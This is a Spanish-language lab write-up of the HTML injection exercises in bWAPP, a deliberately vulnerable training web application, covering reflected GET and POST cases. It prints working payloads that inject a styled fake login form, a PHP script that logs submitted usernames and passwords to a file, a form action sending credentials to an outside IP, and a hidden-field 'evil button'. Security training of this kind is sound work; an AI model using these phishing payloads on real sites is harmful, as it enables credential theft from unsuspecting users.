Diseccionando bee box OWASP bWAPP VM v1 6 Inyección HTML

Diseccionando bee box OWASP bWAPP VM v1 6 Inyección HTML


bWAPP (buggy Web APPlication) es una aplicaci�n web deliberadamente vulnerable para que podamos practicar explotando un buen n�mero de vulnerabilidades. Ya la descubrimos en el blog hace tres a�os y recibi� su �ltima actualizaci�n en noviembre del a�o pasado.

Lo que os traemos hoy es un writeup de los primeros ejercicios sobre inyecci�n HTML, gracias al elvecinodeabajo (bonito nick).


HTML Injection - Reflected (GET)
http://beebox/bWAPP/htmli_get.php

Los valores proporcionados a trav�s de "firstname" y "lastname" en la consulta GET se reflejan en la p�gina de saludo.

    http://beebox/bWAPP/htmli_get.php?firstname=Speedy&lastname=Gonzales&form=submit
    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button> 
        </form>
        <br />
        Welcome Speedy Gonzales
    </div>

Si jugamos un poco podemos ver que las etiquetas HTML no se filtran y se reflejan tal cual en la p�gina de resultado.

    http://beebox/bWAPP/htmli_get.php?firstname=%3Ch1%3ESpeedy%3C%2Fh1%3E&lastname=%3Ch2%3EGonzales%3C%2Fh2%3E&form=submit
    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button> 
        </form>
        <br />
        Welcome <h1>Speedy</h1> <h2>Gonzales</h2>
    </div>

Ya tenemos el bug, ahora, haciendo alarde de habilidad, usaremos el bug para mostrar un falso login controlado por nosotros. El ataque se enfoca a la ingenier�a social, ya que este bug no nos permite explotar el sistema. Sin embargo, el resultado del ataque puede llegar a ser muy convincente, pudiendo pescar la contrase�a del usuario con s�lo enviarle un link.
Lo primero que necesitaremos colar es el cuerpo de la p�gina de login.

    http://beebox/bWAPP/login
    <div id="main">
        <h1>Login</h1>
        <p>Enter your credentials <i>(bee/bug)</i>.</p>
        <form action="/bWAPP/login.php" method="POST">
            <p><label for="login">Login:</label><br />
            <input type="text" id="login" name="login" size="20" autocomplete="off"></p>
            <p><label for="password">Password:</label><br />
            <input type="password" id="password" name="password" size="20" autocomplete="off"></p>
            <p><label for="security_level">Set the security level:</label><br />
            <select name="security_level">
                <option value="0">low</option>
                <option value="1">medium</option>
                <option value="2">high</option>
            </select>
            </p>
            <button type="submit" name="form" value="submit">Login</button>
        </form>
        <br />
    </div>

Si incrustamos �sto como "firstname" y rellenamos "lastname" con lo que sea obtenemos este resultado:

   
Para que el ataque sea cre�ble tenemos que darle formato al resultado. Lo primero que tenemos que hacer para �sto es a�adir </div> al principio de "firstname". As� dejamos "main" de la siguiente forma:

    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button> 
        </form>
        <br />
        Welcome
    </div>

As� cerramos "main" y podemos crear un <div> nuevo con otro identificador para, despu�s, darle formato. Al "main" de la p�gina de login le llamar� "mai". Lo ponemos todo en una sola l�nea, con el </div> al principio de todo para cerrar el "main" de verdad.

    </div><div id="mai"><h1>Login</h1><p>Enter your credentials <i>(bee/bug)</i>.</p><form action="/bWAPP/login.php" method="POST"><p><label for="login">Login:</label><br /><input type="text" id="login" name="login" size="20" autocomplete="off"></p> <p><label for="password">Password:</label><br /><input type="password" id="password" name="password" size="20" autocomplete="off"></p><p><label for="security_level">Set the security level:</label><br /><select name="security_level"><option value="0">low</option><option value="1">medium</option><option value="2">high</option></select></p><button type="submit" name="form" value="submit">Login</button></form><br /></div>


  
Ahora ya s�lo nos falta hacer desaparecer el "main" de verdad y darle a nuestro "mai" el formato que deber�a tener. Al principio del c�digo fuente podemos ver de d�nde obtiene el formato.

    <!DOCTYPE html>
    <html>
        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
            <!--<link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Architects+Daughter">-->
            <link rel="stylesheet" type="text/css" href="stylesheets/stylesheet.css" media="screen" />

En stylesheets/stylesheet.css est� el archivo .css que da formato a la p�gina. De ah� copiamos todo lo que se refiera a "main", lo cambiamos por "mai" y lo dejamos todo en una l�nea de texto.

 http://beebox/bWAPP/stylesheets/stylesheet.css
 #main {
            padding-left: 100px;
            padding-top: 25px;   
            position: relative;
            width: 760px;
            margin-bottom: 50px;
    }
    #main p {
            padding-bottom: 12px;
    }
    #main a {
            text-decoration:none;
            font-weight:bold;
            color: #666;
    }
    #main h1 {
            font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif;
            font-size: 40px;
            letter-spacing: -1px;
            color: #474747;
            padding-bottom: 12px;
    }
    #main h1:before {
            content: "/";
            color: #ff4500;
            padding-right: 15px;
    }
    #main h1:after {
            content: "/";
            color: #ff4500;
            padding-left: 15px;
    }
    #main h2 {
            font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif;
            font-size: 30px;
            letter-spacing: -1px;
            color: #474747;
            padding-bottom: 18px;
    }
    #main h2:before {
            content: "//";
            color: #ff4500;
            padding-right: 15px;
    }
    #main h2:after {
            content: "//";
            color: #ff4500;
            padding-left: 15px;
    }

�sto lo editamos, a�adimos el display:none a "main" para hacerlo desaparecer y condensamos el estilo en algo as�:
    #main {display: none;} #mai {padding-left: 100px;padding-top: 25px;    position: relative;width: 760px;margin-bottom: 50px;}#mai p {padding-bottom: 12px;}#mai a { text-decoration:none; font-weight:bold;color: #666;}#mai h1 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 40px;letter-spacing: -1px;color: #474747;padding-bottom: 12px;} #mai h1:before {content: "/";color: #ff4500;padding-right: 15px;}#mai h1:after {content: "/";color: #ff4500;padding-left: 15px;}#mai h2 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 30px;letter-spacing: -1px;color: #474747;padding-bottom: 18px;} #mai h2:before {content: "//";color: #ff4500;padding-right: 15px;}#mai h2:after {content: "//";color: #ff4500;padding-left: 15px;}
   
Y lo metemos todo en una etiqueta <style> para que la p�gina lo use para mostrar nuestro "login".
    <style type="text/css"> #main {display: none;} #mai {padding-left: 100px;padding-top: 25px;    position: relative;width: 760px;margin-bottom: 50px;}#mai p {padding-bottom: 12px;}#mai a { text-decoration:none; font-weight:bold;color: #666;}#mai h1 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 40px;letter-spacing: -1px;color: #474747;padding-bottom: 12px;} #mai h1:before {content: "/";color: #ff4500;padding-right: 15px;}#mai h1:after {content: "/";color: #ff4500;padding-left: 15px;}#mai h2 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 30px;letter-spacing: -1px;color: #474747;padding-bottom: 18px;} #mai h2:before {content: "//";color: #ff4500;padding-right: 15px;}#mai h2:after {content: "//";color: #ff4500;padding-left: 15px;}</style> 

As�, usando el c�digo de los <div> que probamos antes como "firstname" y usando el  <style>como "lastname" obtenemos una p�gina que nos pide que nos autentiquemos. Y a simple vista parece bastante cre�ble.


Ahora que tenemos una p�gina en la que podemos poner lo que nos d� la gana, vamos a hacer que este falso login que estamos mostrando nos guarde en alg�n lado los datos que se le introduzcan para su posterior consulta. Para eso tenemos que modificar un poco el formulario de nuestro "mai" y necesitaremos, adem�s, un lugar en el que recibir y guardar esos datos.

Para esta tarea crearemos la p�gina en PHP que guardar� los datos que reciba en un archivo de texto.Usaremos la funci�n file() para grabar el archivo de texto. Guardamos el script en nuestro servidor web, creamos el archivo phishes.lst y le damos permisos de escritura.

    <?php
        $log = fopen("./phishes.lst", "a");
        $login = $_POST["login"];
        $pass = $_POST["password"];
        $output = $login. : .$pass." ";
        fwrite($log, $output);
        fclose($log);
    ?>

Con este script tosco y sucio lo que hacemos es abrir el archivo �phishes.lst� y darle permisos de escritura. Despu�s se guardar�n el usuario y la contrase�a con los que se rellenaron nuestro falso login en las variables $login y $pass, luego usa esos datos para generar la frase que se a�adir� al final de nuestro archivo de text (Por eso lo abrimos con el par�metro �a� (Append)). Por �ltimo graba la frase $output en el archivo de texto y lo cierra.

Lo siguiente ser� modificar el �action� del formulario de nuestro falso login para que env�e la solicitud a nuestro script en PHP.

</div><div id="mai"><h1>Login</h1><p>Enter your credentials <i>(bee/bug)</i>.</p><form action="http://192.168.57.130/recv.php" method="POST"><p><label for="login">Login:</label><br /><input type="text" id="login" name="login" size="20" autocomplete="off"></p> <p><label for="password">Password:</label><br /><input type="password" id="password" name="password" size="20" autocomplete="off"></p><p><label for="security_level">Set the security level:</label><br /><select name="security_level"><option value="0">low</option><option value="1">medium</option><option value="2">high</option></select></p><button type="submit" name="form" value="submit">Login</button></form><br /></div>

Lo ponemos a prueba. Introducimos �usuario� como login y ponemos una contrase�a cualquiera en nuestro falso login, pulsamos el bot�n y vemos lo que ocurre.


Funciona perfectamente. Podemos mejorarlo, pero eso no es a lo que vamos en este momento. Seg�n vayamos avanzando iremos mejor�ndolo, as� vamos tocando un poco cada tema. Lo que podemos decir es que ya sabemos explotar vulnerabilidades HTML Injection para nuestros prop�sitos.

Lo m�s importante del HTML Injection es que, al no tratarse de ning�n javascript, evade la mayor�a de sistemas de protecci�n de los navegadores (NoScript, DisableJava, JavaFirewall...).

_|O|_           
_|_|O           
O|O|O h4ck3D!!  

HTML Injection - Reflected (POST)
http://beebox/bWAPP/htmli_post.php

Aqu� el bug es casi el mismo. Los datos proporcionados por firstname y lastname se reflejan en la p�gina sin filtrar, pero esta vez no sirve con una consulta GET (No acepta los par�metros por la URL), as� que tenemos que crear un formulario que env�e nuestro falso login mediante una consulta POST. As� se reflejar�n correctamente y se ver� nuestro falso login en vez de la p�gina htmli_post.php.

    <div id="main">
        <h1>HTML Injection - Reflected (POST)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_post.php" method="POST">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button> 
        </form>
        <br />
        Welcome Speedy Gonzales
    </div>

Pongamos lo que pongamos en First name y Last name el enlace a la p�gina siempre ser� http://beebox/bWAPP/htmli_post.php. �D�nde est�n los par�metros? Pongamos en marcha ZAProxy y configuremos el navegador para pasar por �l. As� podremos comprobar todo lo que ocurre (Mucha gente prefiere BurpSuite, pero soy fan del Open Source, as� que prefiero ZAP).

Activamos el breakpoint pulsando el bot�n indicado con la flecha, introducimos firstname y lastname y al pulsar el bot�n �Go� nos saltar� ZAP con la consulta POST detallada.


Para poder mostrar nuestro falso login tenemos que conseguir enviar una consulta POST con firstname, lastname y form=submit. Sin embargo, para �sto es necesario que la v�ctima env�e esos datos al formulario htmli_post.php para ver nuestro falso login. Para �sto vamos a crear un �Evil button� que, una vez pulsado, env�e los datos para que la p�gina muestre nuestro falso login. Vamos a seguir 2 procedimientos diferentes:

1) Crearemos una p�gina est�tica con un bot�n que env�e �firstname� y �lastname� con los par�metros que nosotros queremos.
2) Incrustaremos ese bot�n en la p�gina de antes mediante GET para que la v�ctima nunca salga del dominio beebox.

Crear un bot�n en HTML con par�metros ocultos es muy f�cil:

    <html>
        <body>
             <form action="http://beebox/bWAPP/htmli_post.php" method="POST">
                 <input type="hidden" name="firstname" value="">
                 <input type="hidden" name="lastname" value="">
                 <button type="submit" name="form" value="submit">EVIL BUTTON</button> 
            </form>
        </body>
    </html>

Este c�digo nos crear� un bot�n con el texto �EVIL BUTTON�. Lo guardamos como boton.html y lo abrimos. Una vez pulsado el bot�n que se ve el formulario env�a una consulta POST a la p�gina  http://beebox/bWAPP/htmli_post.php, pero con los par�metros en blanco. Por eso nos pide que introduzcamos ambos campos al pulsarlo.


Ahora s�lo nos queda rellenar los valores firstname y lastname para que incluya los par�metros que necesitamos indicarle para mostrar nuestro falso login. Sin embargo no podemos pas�rselos como hicimos en el cap�tulo anterior.

Contribuci�n gracias a elvecinodeabajo, licencia CC-BY

download file now